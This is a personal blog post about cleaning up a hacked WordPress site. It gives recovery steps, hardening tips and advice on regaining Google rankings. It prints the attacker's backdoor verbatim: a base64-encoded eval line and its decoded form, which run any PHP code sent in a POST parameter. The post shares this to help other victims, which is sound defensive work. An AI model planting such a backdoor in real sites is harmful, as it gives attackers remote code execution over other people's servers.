mike demers dot net

My little blog was hacked. Hax0red. Pwn3d. And I’m fairly certain it wasn’t done by Angelina Jolie and Jonny Lee Miller hacking away on spray painted keyboards to the sound of thumping techno music.

Nope, I got hacked by some stupid bot that was probably launched by some stupid script kiddie on some stupid PC in some stupid basement. Yeah, I’m a little bitter.

I’ve since cleaned up the mess but I still feel violated. And, to add insult to injury, I’m no longer the number one “mike demers” in Google search results… Quelle horreur!

In the interest of helping out my fellow victims, I’m posting this semi-coherent round-up of information that I accumulated during the clean-up. If you’re only interested in the executive summary, it goes something like this:

Recovering Your Hacked Blog (Short Version)

1. Take your site offline.
2. Back-up your Wordpress installation before doing anything. At a minimum, this includes your database, your wp-config.php file and the contents of your wp-content directory.
3. Upgrade to the latest version of Wordpress. As of this posting, the latest version is 2.6 and it contains a number of important security fixes. You should do a fresh installation and then restore your customizations from your back-up.
4. Check your custom files and your database for backdoors and, if they’re clean, restore them. See below for more information on what to look for.
5. Profit!

If all of this is too intimidating – and you don’t have a nephew or friend you can rope in for help – you might want to consider moving to a fully hosted blogging solution such as Wordpress.com, Typepad, Blogger or Tumblr. If you’re undaunted by a little server maintenance then read on for the juicy details.

What Happened?

My WordPress theme had 7,500 spam links stuffed into it, adding 650KB (!) to every one of my pages. Here’s a glimpse of the junk that was in my theme’s footer.php template file:

My index.php file had a backdoor inserted into it:

<?php
/* Short and sweet */
eval(base64_decode('aWYoJF9QT1NUWyJwb3N0X2NsYXNzIl0pe2V2YWwodXJsZGVjb2RlKCRfUE9TVFsicG9zdF9jbGFzcyJdKSk7fQ=='));
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?>

Hmm… that “eval()” on line 3 sure looks suspicious, doesn’t it? The blob of text actually decodes to this lovely bit of PHP code:

if($_POST[\"post_class\"]){eval(urldecode($_POST[\"post_class\"]));}

That, ladies and gentlemen, is what we in the biz call a huge back door. It allowed the hackers to run any PHP code they wanted on my site by passing it as the post_class query parameter of an HTTP POST request.

Fortunately for me, that was the extent of the damage. There are other variations of this hack that insert themselves into your WordPress database, infiltrate your theme’s header.php template file and/or steal all search engine traffic by redirecting your visitors to their spam sites. These are not nice people.

If you’ve fallen victim to another type of hack, you might find these links to be useful:

• One of the Wordpress developers posts: Did your WordPress site get hacked?
• J.D. over at the excellent personal finance blog Get Rich Slowly posts his experience: Patching the WordPress AnyResults.Net Hack.
• Has Your WordPress Been Hacked Recently?
• WordPress Hack: Recover and Fix Google and Search Engine or No Cookie Traffic Redirected to Your-Needs.info, AnyResults.Net, Golden-Info.net and Other Illegal Sites.

How do I fix it?

In reading other people’s experiences, it’s clear that I got off easy. I was back up and running in 20 minutes. Here’s what I had to do:

First, I took my site offline by limiting access to my IP address. I’m running behind the nginx web server, so to do this I added these 2 lines to end of the server { … } section of the nginx config file:

location / {
    allow  1.2.3.4;
    deny   all;
}

Replace “1.2.3.4″ with your IP address (see What’s My IP? if you aren’t sure of your IP address).

If your site is being served by an Apache server, you’ll want to add these two lines to your VHOST config or .htaccess file:

Allow from 1.2.3.4
Deny from all

Next, I backed up my WordPress database, my wp-config.php file and everything in the wp-content directory. I then removed all WordPress files from the web server.

Once my website directory was cleaned out, I installed the latest version of WordPress.

I then changed the password that WordPress uses to connect to my MySQL server. I’m on a virtual server running Debian Linux so the commands looked like this:

$> mysql -u root -p mysql
mysql> update user set Password = password('YOUR_NEW_PASSWORD') where User = 'WP_USERNAME';
mysql> flush privileges;

Replace YOUR_NEW_PASSWORD with your new password and WP_USERNAME with the DB_USER value from your old wp-config.php file.

Then I went into my new WordPress installation and set up a new wp-config.php file based on the wp-config-sample.php file. If you’re following along at home, you can copy over the old values for DB_NAME and DB_USER but you will need to set DB_PASSWORD to the new MySQL password you just created. You will also need to set values for AUTH_KEY, SECURE_AUTH_KEY, and LOGGED_IN_KEY.  If your old wp-config.php file had those values defined, do NOT copy them to your new wp-config.php file.

At this point, I began restoring my custom files.  I checked each template file in my theme and removed any spam links (for me, they were only present in the footer.php file).  I also checked every plug-in as well as every file in my wp-uploads directory.

WIth my new wp-config.php file set up and my wp-content directory restored, I was ready to roll. (The new WordPress installation containted a new index.php so I didn’t have to deal with my old, backdoored one.) All that was left to do was to remove the Allow and Deny directives from my web server config file.

Won’t get fooled again…

By now you’ve probably realized that this is a huge pain in the buttocks and you’d really like to avoid it in the future. Here’s what I did to minimize the chance of a recurrence:

• Subscribed to the WordPress Updates RSS feed in my news reader so I can stay on top of new releases and security issues.
• Installed Login Lockdown Plug-in - WordPress doesn’t ship with any sort of login failure throttling.  If you’ve ever forgotten the password for your computer, you’ll be familiar with this concept since your computer probably locked you out for a few minutes after too many failed attempts. WordPress doesn’t do this, so the hackers can send millions of password guesses to your blog. This plug-in puts the kibosh on that treachery.
• Set up TripWire so I will be notified if any of the core WordPress files change. This won’t prevent a backdoor like I detailed above with my index.php file but it will at least bring the issue to my attention.

There are other things you can do if you’re so inclined. You can install the WP Security Scan Plug-in or the WordPress Automatic Upgrade Plug-in. They seem to be well-reviewed but I haven’t used either of them so caveat installer. Also, Noupe has a great post detailing various Wordpress Security Tips and Hacks.

Recommend WordPress reading:

WordPress for Dummies was written by the actual folks behind WordPress and really is an essential resource for WordPress users. Amazon says:

the codes, tags, and terminology can seem a little intimidating at first, but WordPress for Dummies breaks it all down to show you just how intuitive, friendly, and extensible the software really is…

I want my Google back!

At this point, your site has been cleaned up but you’re probably not appearing in Google’s search results. This is most likely because Google still considers your blog to be a spam site. Matt Cutts, Google blogging engineer extraordinaire, has a couple of posts on this subject. In How Google handles hacked sites he explains Google’s side of the issue:

This site was hacked and stuffed with a bunch of hidden spammy porn words and links. Google detected the spam in less than 10 days; that’s faster than the site owner noticed it. We temporarily removed the site from our index so that users wouldn’t get the spammy porn back in response to queries. We made it possible for the webmaster to verify that their site was penalized. Then we emailed the site, with theexact page and the exact text that was causing problems.

And in the more recent post, Helping hacked sites, he describes some steps that hacking victims can take do restore their Google juice:

Getting hacked is not fun. It’s just not. But I think Google does the right thing for our users by removing hacked sites from our index temporarily. I also think we do a pretty good job of trying to alert site owners that they’ve been hacked — more than any other search engine does. We alert many webmasters about hacked sites not only via email but also with our webmaster console.

Google has some information available in its help documentation: How do I request reconsideration of my site? and here: Requesting reconsideration using Google Webmaster Tools. Essentially their advice is to sign up for the Google Webmaster Console. I did and I highly recommend you do the same, even if you haven’t been hacked, since it offers a bunch of cool features.

Recommended Google reading:

Getting to the Top on Google: “Tips and Techniques to Get Your Site to the Top of the Search Engine Rankings — and Stay There” is a decent guide to squeezing the most Google juice possible out of your content. Amazon says that it’s:

Written in a clear, non-technical, style by a leading expert in SEO (search engine optimization)… explains techniques and strategies proven to return higher search engine rankings and sales. It addresses all aspects of search engine marketing…

Good Luck

Hopefully this information will help you out if you too have been hacked. As for me, I’m a glass-is-half-full kind of guy so I’m going to look at this as an opportunity. After all, my site was long overdue for a makeover. Perhaps an updated theme, maybe a snazzy new favicon and – I don’t want to get carried away here but –  maybe, just maybe even a new post or two.